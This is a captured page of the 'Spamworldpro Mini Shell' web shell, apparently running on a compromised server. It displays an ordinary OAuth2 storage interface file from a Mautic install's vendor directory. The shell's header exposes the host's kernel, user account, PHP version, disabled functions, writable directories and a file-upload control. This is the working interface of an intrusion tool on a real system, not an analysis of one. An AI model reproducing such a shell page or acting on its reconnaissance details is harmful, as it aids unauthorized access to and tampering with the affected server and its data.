Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/vendor/friendsofsymfony/oauth2-php/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/vendor/friendsofsymfony/oauth2-php/lib/IOAuth2Storage.php
<?php

namespace OAuth2;

use OAuth2\Model\IOAuth2Client;
use OAuth2\Model\IOAuth2AccessToken;

/**
 * All storage engines need to implement this interface in order to use OAuth2 server
 *
 * @author David Rochwerger <[email protected]>
 */
interface IOAuth2Storage
{
    /**
     * Get a client by its ID.
     *
     * @param string $clientId
     *
     * @return IOAuth2Client
     */
    public function getClient($clientId);

    /**
     * Make sure that the client credentials are valid.
     *
     * @param IOAuth2Client $client       The client for which to check credentials.
     * @param string        $clientSecret (optional) If a secret is required, check that they've given the right one.
     *
     * @return bool TRUE if the client credentials are valid, and MUST return FALSE if they aren't.
     *
     * @see     http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-3.1
     *
     * @ingroup oauth2_section_3
     */
    public function checkClientCredentials(IOAuth2Client $client, $clientSecret = null);

    /**
     * Look up the supplied oauth_token from storage.
     *
     * We need to retrieve access token data as we create and verify tokens.
     *
     * @param string $oauthToken The token string.
     *
     * @return IOAuth2AccessToken
     *
     * @ingroup oauth2_section_7
     */
    public function getAccessToken($oauthToken);

    /**
     * Store the supplied access token values to storage.
     *
     * We need to store access token data as we create and verify tokens.
     *
     * @param string        $oauthToken The access token string to be stored.
     * @param IOAuth2Client $client     The client associated with this refresh token.
     * @param mixed         $data       Application data associated with the refresh token, such as a User object.
     * @param int           $expires    The timestamp when the refresh token will expire.
     * @param string        $scope      (optional) Scopes to be stored in space-separated string.
     *
     * @ingroup oauth2_section_4
     */
    public function createAccessToken($oauthToken, IOAuth2Client $client, $data, $expires, $scope = null);

    /**
     * Check restricted grant types of corresponding client identifier.
     *
     * If you want to restrict clients to certain grant types, override this
     * function.
     *
     * @param IOAuth2Client $client    Client to check.
     * @param string        $grantType Grant type to check. One of the values contained in OAuth2::GRANT_TYPE_REGEXP.
     *
     * @return bool Returns true if the grant type is supported by this client identifier or false if it isn't.
     *
     * @ingroup oauth2_section_4
     */
    public function checkRestrictedGrantType(IOAuth2Client $client, $grantType);
}

Spamworldpro Mini